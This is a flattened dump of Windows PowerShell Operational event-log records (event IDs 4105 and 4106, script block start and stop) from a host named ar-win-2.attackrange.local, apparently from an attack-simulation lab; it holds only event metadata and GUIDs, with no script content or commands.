410615103150x0669830Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669829Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669828Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669827Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669826Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669825Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669824Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669823Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669822Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669821Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669820Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669819Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669818Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669817Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669816Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669815Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669814Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669813Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669812Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669811Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669810Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669809Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669808Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669807Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669806Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669805Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669804Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669803Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669802Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669801Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669800Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669799Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669798Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669797Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669796Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669795Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669794Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669793Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669792Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669791Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669790Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669789Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669788Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669787Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669786Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669785Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669784Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669783Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669782Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669781Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669780Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669779Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669778Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669777Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669776Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669775Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669774Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669773Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669772Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669771Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669770Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669769Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669768Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669767Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669766Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669765Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669764Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669763Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669762Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669761Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669760Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669759Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669758Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669757Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669756Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669755Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669754Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669753Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669752Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669751Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669750Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669749Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669748Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669747Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669746Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669745Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669744Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669743Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669742Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669741Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669740Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669739Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669738Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669737Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669736Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669735Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669734Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669733Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669732Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669731Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669730Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669729Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669728Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669727Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669726Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669725Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669724Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669723Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669722Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669721Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669720Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669719Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669718Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669717Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669716Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669715Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669714Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669713Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669712Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669711Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669710Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669709Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669708Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669707Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669706Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669705Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669704Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669703Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669702Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669701Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669700Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669699Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669698Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669697Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669696Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669695Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669694Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669693Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669692Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669691Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669690Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669689Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669688Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669687Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669686Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669685Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669684Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669683Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669682Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669681Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669680Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669679Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669678Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669677Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669676Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669675Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669674Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669673Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669672Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669671Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669670Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669669Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669668Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 